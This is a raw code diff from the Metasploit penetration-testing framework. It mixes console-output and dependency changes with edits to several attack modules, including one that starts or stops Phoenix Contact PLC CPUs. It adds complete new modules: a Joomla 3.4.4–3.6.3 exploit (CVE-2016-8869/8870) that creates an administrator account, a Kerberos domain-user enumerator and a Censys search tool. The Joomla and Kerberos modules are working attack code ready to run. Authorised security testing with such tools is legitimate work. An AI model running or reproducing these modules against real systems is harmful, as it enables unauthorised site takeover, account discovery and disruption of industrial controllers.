print_line("%bld%red[-]%clr #{msg}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
def print_good(msg = '')
|
def print_good(msg = '')
|
||||||
print_line("%bld%grn[+]%clr #{msg}")
|
print_line("%bld%grn[+]%clr #{msg}")
|
||||||
end
|
end
|
||||||
|
@ -60,7 +63,14 @@ class Output < Rex::Ui::Output
|
||||||
end
|
end
|
||||||
|
|
||||||
def print_line(msg = '')
|
def print_line(msg = '')
|
||||||
print(msg + "\n")
|
print("\033[s") # Save cursor position
|
||||||
|
print("\r\033[K" + msg + "\n")
|
||||||
|
if input and input.prompt
|
||||||
|
print("\r\033[K")
|
||||||
|
print(input.prompt)
|
||||||
|
print(input.line_buffer)
|
||||||
|
print("\033[u\033[B") # Restore cursor, move down one line
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def print_warning(msg = '')
|
def print_warning(msg = '')
|
||||||
|
|
|
@ -184,7 +184,9 @@ module Shell
|
||||||
self.init_prompt = input.prompt
|
self.init_prompt = input.prompt
|
||||||
end
|
end
|
||||||
|
|
||||||
|
output.input = input
|
||||||
line = input.pgets()
|
line = input.pgets()
|
||||||
|
output.input = nil
|
||||||
log_output(input.prompt)
|
log_output(input.prompt)
|
||||||
|
|
||||||
# If a block was passed in, pass the line to it. If it returns true,
|
# If a block was passed in, pass the line to it. If it returns true,
|
||||||
|
@ -276,6 +278,8 @@ module Shell
|
||||||
log_output(output.print_error(msg))
|
log_output(output.print_error(msg))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
#
|
#
|
||||||
# Prints a status message to the output handle.
|
# Prints a status message to the output handle.
|
||||||
#
|
#
|
||||||
|
|
|
@ -65,9 +65,9 @@ Gem::Specification.new do |spec|
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model'
|
spec.add_runtime_dependency 'metasploit-model'
|
||||||
# Needed for Meterpreter
|
# Needed for Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.26'
|
spec.add_runtime_dependency 'metasploit-payloads', '1.2.1'
|
||||||
# Needed for the next-generation POSIX Meterpreter
|
# Needed for the next-generation POSIX Meterpreter
|
||||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8'
|
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.2'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# get list of network interfaces, like eth* from OS.
|
# get list of network interfaces, like eth* from OS.
|
||||||
|
|
|
@ -18,8 +18,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
This module acts as a simplistic administrative client for interfacing
|
This module acts as a simplistic administrative client for interfacing
|
||||||
with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking
|
with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking
|
||||||
the TLS-250 and TLS-350 protocols. This has been tested against
|
the TLS-250 and TLS-350 protocols. This has been tested against
|
||||||
GasPot, a honeypot meant to simulate ATGs; it has not been tested
|
GasPot and Conpot, both honeypots meant to simulate ATGs; it has not
|
||||||
against anything else, so use at your own risk.
|
been tested against anything else, so use at your own risk.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -31,6 +31,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'],
|
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'],
|
||||||
['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'],
|
['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'],
|
||||||
['URL', 'https://github.com/sjhilt/GasPot'],
|
['URL', 'https://github.com/sjhilt/GasPot'],
|
||||||
|
['URL', 'https://github.com/mushorg/conpot'],
|
||||||
['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'],
|
['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'],
|
||||||
['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'],
|
['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'],
|
||||||
['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227']
|
['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227']
|
||||||
|
@ -187,6 +188,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
def get_response(request)
|
def get_response(request)
|
||||||
sock.put(request)
|
sock.put(request)
|
||||||
response = sock.get_once(-1, timeout)
|
response = sock.get_once(-1, timeout)
|
||||||
|
response.strip!
|
||||||
|
response += " (command not understood)" if response == "9999FF1B"
|
||||||
response
|
response
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -245,7 +248,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
response = get_response("#{action.opts[protocol_opt_name]}\n")
|
response = get_response("#{action.opts[protocol_opt_name]}\n")
|
||||||
print_good("#{protocol} #{action.opts['Description']}:\n#{response}")
|
print_good("#{protocol} #{action.opts['Description']}:")
|
||||||
|
print_line(response)
|
||||||
end
|
end
|
||||||
ensure
|
ensure
|
||||||
disconnect
|
disconnect
|
||||||
|
|
|
@ -0,0 +1,148 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HTTP::Joomla
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Joomla Account Creation and Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
|
||||||
|
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2016-8869'],
|
||||||
|
['CVE', '2016-8870'],
|
||||||
|
['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
|
||||||
|
['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
|
||||||
|
['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
|
||||||
|
'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation
|
||||||
|
'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DisclosureDate' => 'Oct 25 2016'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),
|
||||||
|
OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),
|
||||||
|
OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),
|
||||||
|
OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi('uri' => target_uri.path)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_error("Connection timed out")
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
online = joomla_and_online?
|
||||||
|
unless online
|
||||||
|
print_error("Unable to detect joomla on #{target_uri.path}")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
version = Gem::Version.new(joomla_version)
|
||||||
|
if version
|
||||||
|
print_status("Detected Joomla version #{joomla_version}")
|
||||||
|
return Exploit::CheckCode::Appears if version.between?(Gem::Version.new('3.4.4'), Gem::Version.new('3.6.3'))
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Detected if online
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_csrf(hidden_fields)
|
||||||
|
hidden_list = hidden_fields
|
||||||
|
hidden_list.each do |fields|
|
||||||
|
fields.each do |item|
|
||||||
|
if item[0].length == 32 && item[1] == '1'
|
||||||
|
return item[0]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if check == Exploit::CheckCode::Safe
|
||||||
|
print_error('Target seems safe, so we will not continue!')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Trying to create the user!")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
|
||||||
|
'vars_get' => {
|
||||||
|
'view' => 'login'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
cookie = res.get_cookies
|
||||||
|
csrf = get_csrf(res.get_hidden_inputs)
|
||||||
|
|
||||||
|
if csrf.length != 32 && cookie.split(/=/).length != 2
|
||||||
|
print_error('Could not find csrf or cookie!')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error('Could not find Login Page!')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
mime = Rex::MIME::Message.new
|
||||||
|
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')
|
||||||
|
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
|
||||||
|
mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
|
||||||
|
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
|
||||||
|
mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"')
|
||||||
|
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
|
||||||
|
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
|
||||||
|
mime.add_part('com_users', nil, nil, 'form-data; name="option"')
|
||||||
|
mime.add_part('user.register', nil, nil, 'form-data; name="task"')
|
||||||
|
mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"')
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
|
||||||
|
'cookie' => cookie,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||||
|
'data' => mime.to_s
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
print_good("PWND - Your user has been created")
|
||||||
|
print_status("\tUsername: " + datastore['USERNAME'])
|
||||||
|
print_status("\tPassword: " + datastore['PASSWORD'])
|
||||||
|
print_status("\tEmail: " + datastore['EMAIL'])
|
||||||
|
elsif res.redirect?
|
||||||
|
res = send_request_cgi!(
|
||||||
|
'uri' => res.redirection.path,
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => cookie
|
||||||
|
)
|
||||||
|
|
||||||
|
print_error("There was an issue, but the user could have been created.")
|
||||||
|
|
||||||
|
parsed_data = res.get_html_document
|
||||||
|
parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
|
||||||
|
print_error("\t" + alert_msg.text)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("This host may not be vulnerable.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -20,8 +20,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
It allows a remote user to read out the PLC Type, Firmware and
|
It allows a remote user to read out the PLC Type, Firmware and
|
||||||
Build number on port TCP/1962.
|
Build number on port TCP/1962.
|
||||||
And also to read out the CPU State (Running or Stopped) AND start
|
And also to read out the CPU State (Running or Stopped) AND start
|
||||||
or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series)
|
or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)
|
||||||
or on port TCP/41100 (confirmed ILC 39x series)
|
or on port TCP/20547 (confirmed ILC 39x series)
|
||||||
},
|
},
|
||||||
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
|
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
@ -211,11 +211,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
if device.start_with?('ILC 15', 'ILC 17')
|
if device.start_with?('ILC 15', 'ILC 17')
|
||||||
devicetype = '15x'
|
devicetype = '15x'
|
||||||
print_status('--> Detected 15x/17x series, getting current CPU state:')
|
print_status('--> Detected 15x/17x series, getting current CPU state:')
|
||||||
ractionport == 0 ? (rport = 41100) : (rport = ractionport)
|
ractionport.nil? ? (rport = 41100) : (rport = ractionport)
|
||||||
elsif device.start_with?('ILC 39')
|
elsif device.start_with?('ILC 39')
|
||||||
devicetype = '39x'
|
devicetype = '39x'
|
||||||
print_status('--> Detected 39x series, getting current CPU state:')
|
print_status('--> Detected 39x series, getting current CPU state:')
|
||||||
ractionport == 0 ? (rport = 20547) : (rport = ractionport)
|
ractionport.nil? ? (rport = 20547) : (rport = ractionport)
|
||||||
else
|
else
|
||||||
print_error('Only ILC and (some) RFC devices are supported.')
|
print_error('Only ILC and (some) RFC devices are supported.')
|
||||||
return
|
return
|
||||||
|
|
|
@ -99,9 +99,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
print_status("Executing the command...")
|
print_status("Executing the command...")
|
||||||
begin
|
begin
|
||||||
return psexec(execute)
|
return psexec(execute)
|
||||||
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => exec_command_error
|
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
|
||||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
|
||||||
print_error("Unable to execute specified command: #{exec_command_error}")
|
print_error("Unable to execute specified command: #{e}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -136,8 +136,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
# check if our process is done using these files
|
# check if our process is done using these files
|
||||||
def exclusive_access(*files)
|
def exclusive_access(*files)
|
||||||
|
begin
|
||||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||||
files.each do |file|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||||
|
print_status("Unable to get handle: #{accesserror}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
files.each do |file|
|
||||||
begin
|
begin
|
||||||
print_status("checking if the file is unlocked")
|
print_status("checking if the file is unlocked")
|
||||||
fd = smb_open(file, 'rwo')
|
fd = smb_open(file, 'rwo')
|
||||||
|
@ -154,7 +159,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
# Removes files created during execution.
|
# Removes files created during execution.
|
||||||
def cleanup_after(*files)
|
def cleanup_after(*files)
|
||||||
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
begin
|
||||||
|
simple.connect("\\\\#{@ip}\\#{@smbshare}")
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
|
||||||
|
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
|
||||||
|
return
|
||||||
|
end
|
||||||
print_status("Executing cleanup...")
|
print_status("Executing cleanup...")
|
||||||
files.each do |file|
|
files.each do |file|
|
||||||
begin
|
begin
|
||||||
|
|
|
@ -17,13 +17,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
Wireshark crash when dissecting an HTTP chunked response.
|
Wireshark crash when dissecting an HTTP chunked response.
|
||||||
Versions affected: 0.99.5 (Bug 1394)
|
Versions affected: 0.99.5 (Bug 1394)
|
||||||
},
|
},
|
||||||
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
|
'Author' => ['Matteo Cantoni <goony[at]nothink.org>'],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '2007-3389'],
|
['CVE', '2007-3389'],
|
||||||
[ 'OSVDB', '37643'],
|
['OSVDB', '37643'],
|
||||||
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'],
|
['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'],
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Feb 22 2007'))
|
'DisclosureDate' => 'Feb 22 2007'))
|
||||||
|
|
||||||
|
@ -42,13 +42,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
p = PacketFu::TCPPacket.new
|
p = PacketFu::TCPPacket.new
|
||||||
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
|
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
|
||||||
p.ip_daddr = dhost
|
p.ip_daddr = rhost
|
||||||
p.tcp_dport = rand(65535)+1
|
p.tcp_dport = rand(65535)+1
|
||||||
n.tcp_ack = rand(0x100000000)
|
p.tcp_ack = rand(0x100000000)
|
||||||
p.tcp_flags.psh = 1
|
p.tcp_flags.psh = 1
|
||||||
p.tcp_flags.ack = 1
|
p.tcp_flags.ack = 1
|
||||||
p.tcp_sport = datastore['SPORT'].to_i
|
p.tcp_sport = datastore['SPORT'].to_i
|
||||||
p.tcp_window = 3072
|
p.tcp_win = 3072
|
||||||
|
|
||||||
# The following hex blob contains an HTTP response with a chunked-encoding
|
# The following hex blob contains an HTTP response with a chunked-encoding
|
||||||
# length of 0. The ASCII version is below in a block comment.
|
# length of 0. The ASCII version is below in a block comment.
|
||||||
|
|
|
@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
p.tcp_flags.syn = 1
|
p.tcp_flags.syn = 1
|
||||||
p.tcp_flags.ack = 1
|
p.tcp_flags.ack = 1
|
||||||
p.tcp_dport = datastore['RPORT'].to_i
|
p.tcp_dport = datastore['RPORT'].to_i
|
||||||
p.tcp_window = 3072
|
p.tcp_win = 3072
|
||||||
p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"
|
p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"
|
||||||
p.recalc
|
p.recalc
|
||||||
capture_sendto(p, rhost)
|
capture_sendto(p, rhost)
|
||||||
|
|
|
@ -0,0 +1,172 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/proto/http'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Censys Search',
|
||||||
|
'Description' => %q{
|
||||||
|
The module use the Censys REST API to access the same data
|
||||||
|
accessible through web interface. The search endpoint allows searches
|
||||||
|
against the current data in the IPv4, Top Million Websites, and
|
||||||
|
Certificates indexes using the same search syntax as the primary site.
|
||||||
|
},
|
||||||
|
'Author' => [ 'Nixawk' ],
|
||||||
|
'References' => [
|
||||||
|
['URL', 'https://censys.io/api']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('CENSYS_UID', [true, 'The Censys API UID']),
|
||||||
|
OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']),
|
||||||
|
OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']),
|
||||||
|
OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def basic_auth_header(username, password)
|
||||||
|
auth_str = username.to_s + ":" + password.to_s
|
||||||
|
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
|
||||||
|
end
|
||||||
|
|
||||||
|
def search(keyword, search_type)
|
||||||
|
# search_type should be one of ipv4, websites, certificates
|
||||||
|
|
||||||
|
begin
|
||||||
|
# "80.http.get.headers.server: Apache"
|
||||||
|
payload = {
|
||||||
|
'query' => keyword
|
||||||
|
}
|
||||||
|
|
||||||
|
@cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true)
|
||||||
|
@cli.connect
|
||||||
|
|
||||||
|
response = @cli.request_cgi(
|
||||||
|
'method' => 'post',
|
||||||
|
'uri' => "/api/v1/search/#{search_type}",
|
||||||
|
'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) },
|
||||||
|
'data' => payload.to_json
|
||||||
|
)
|
||||||
|
|
||||||
|
res = @cli.send_recv(response)
|
||||||
|
|
||||||
|
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||||
|
print_error("HTTP Connection Failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_error('server_response_error')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
records = ActiveSupport::JSON.decode(res.body)
|
||||||
|
results = records['results']
|
||||||
|
|
||||||
|
if @searchtype.include?('certificates')
|
||||||
|
parse_certificates(results)
|
||||||
|
elsif @searchtype.include?('ipv4')
|
||||||
|
parse_ipv4(results)
|
||||||
|
elsif @searchtype.include?('websites')
|
||||||
|
parse_websites(results)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def valid_domain?(domain)
|
||||||
|
domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/
|
||||||
|
end
|
||||||
|
|
||||||
|
def domain2ip(domain)
|
||||||
|
ips = []
|
||||||
|
begin
|
||||||
|
ips = Rex::Socket.getaddresses(domain)
|
||||||
|
rescue SocketError
|
||||||
|
end
|
||||||
|
ips
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_certificates(records)
|
||||||
|
ips = []
|
||||||
|
records.each do |certificate|
|
||||||
|
# parsed.fingerprint_sha256
|
||||||
|
# parsed.subject_dn
|
||||||
|
# parsed.issuer_dn
|
||||||
|
subject_dn = certificate['parsed.subject_dn'].join(',')
|
||||||
|
next unless subject_dn.include?('CN=')
|
||||||
|
|
||||||
|
host = subject_dn.split('CN=')[1]
|
||||||
|
if Rex::Socket.is_ipv4?(host)
|
||||||
|
ips << host
|
||||||
|
elsif valid_domain?(host) # Fake DNS server
|
||||||
|
ips |= domain2ip(host)
|
||||||
|
end
|
||||||
|
|
||||||
|
ips.each do |ip|
|
||||||
|
print_good("#{ip} - #{subject_dn}")
|
||||||
|
report_host(:host => ip, :info => subject_dn)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_ipv4(records)
|
||||||
|
records.each do |ipv4|
|
||||||
|
# ip
|
||||||
|
# protocols
|
||||||
|
ip = ipv4['ip']
|
||||||
|
protocols = ipv4['protocols']
|
||||||
|
|
||||||
|
protocols.each do |protocol|
|
||||||
|
print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}")
|
||||||
|
port, name = protocol.split('/')
|
||||||
|
report_service(:host => ip, :port => port, :name => name)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_websites(records)
|
||||||
|
records.each do |website|
|
||||||
|
# domain
|
||||||
|
# alexa_rank
|
||||||
|
print_good("#{website['domain']} - #{website['alexa_rank']}")
|
||||||
|
domain = website['domain']
|
||||||
|
ips = domain2ip(domain)
|
||||||
|
ips.each do |ip|
|
||||||
|
report_host(:host =>ip)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check to see if www.censys.io resolves properly
|
||||||
|
def censys_resolvable?
|
||||||
|
begin
|
||||||
|
Rex::Socket.resolv_to_dotted("www.censys.io")
|
||||||
|
rescue RuntimeError, SocketError
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
# check to ensure www.censys.io is resolvable
|
||||||
|
unless censys_resolvable?
|
||||||
|
print_error("Unable to resolve www.censys.io")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
@uid = datastore['CENSYS_UID']
|
||||||
|
@secret = datastore['CENSYS_SECRET']
|
||||||
|
@dork = datastore['CENSYS_DORK']
|
||||||
|
@searchtype = datastore['CENSYS_SEARCHTYPE']
|
||||||
|
search(@dork, @searchtype)
|
||||||
|
end
|
||||||
|
end
|
|
@ -81,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
host = "[#{host}]"
|
host = "[#{host}]"
|
||||||
end
|
end
|
||||||
|
|
||||||
if datastore['URIPORT'] != 0
|
if datastore['URIPORT']
|
||||||
port = ':' + datastore['URIPORT'].to_s
|
port = ':' + datastore['URIPORT'].to_s
|
||||||
elsif (ssl and datastore["SRVPORT"] == 443)
|
elsif (ssl and datastore["SRVPORT"] == 443)
|
||||||
port = ''
|
port = ''
|
||||||
|
|
|
@ -0,0 +1,127 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Client
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Kerberos Domain User Enumeration',
|
||||||
|
'Description' => %q(
|
||||||
|
This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilises
|
||||||
|
the different responses returned by the service for valid and invalid users.
|
||||||
|
),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('DOMAIN', [ true, 'The Domain Eg: demo.local' ]),
|
||||||
|
OptPath.new(
|
||||||
|
'USER_FILE',
|
||||||
|
[true, 'Files containing usernames, one per line', nil]
|
||||||
|
)
|
||||||
|
],
|
||||||
|
self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def user_list
|
||||||
|
users = nil
|
||||||
|
if File.readable? datastore['USER_FILE']
|
||||||
|
users = File.new(datastore['USER_FILE']).read.split
|
||||||
|
users.each { |u| u.downcase! }
|
||||||
|
users.uniq!
|
||||||
|
else
|
||||||
|
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
|
||||||
|
end
|
||||||
|
users
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Validating options...")
|
||||||
|
|
||||||
|
domain = datastore['DOMAIN'].upcase
|
||||||
|
user_file = datastore['USER_FILE']
|
||||||
|
|
||||||
|
print_status("Using domain: #{domain}...")
|
||||||
|
|
||||||
|
pre_auth = []
|
||||||
|
pre_auth << build_pa_pac_request
|
||||||
|
pre_auth
|
||||||
|
|
||||||
|
user_list.each do |user|
|
||||||
|
print_status("#{peer} - Testing User: \"#{user}\"...")
|
||||||
|
res = send_request_as(
|
||||||
|
client_name: "#{user}",
|
||||||
|
server_name: "krbtgt/#{domain}",
|
||||||
|
realm: "#{domain}",
|
||||||
|
pa_data: pre_auth
|
||||||
|
)
|
||||||
|
print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
|
||||||
|
test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
|
||||||
|
if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"]
|
||||||
|
print_good("#{peer} - User: \"#{user}\" is present")
|
||||||
|
report_cred(
|
||||||
|
host: datastore['RHOST'],
|
||||||
|
port: rport,
|
||||||
|
creds_name: 'Kerberos',
|
||||||
|
user: user
|
||||||
|
)
|
||||||
|
elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"]
|
||||||
|
print_error("#{peer} - User: \"#{user}\" account disabled or locked out")
|
||||||
|
else
|
||||||
|
print_status("#{peer} - User: \"#{user}\" does not exist")
|
||||||
|
end
|
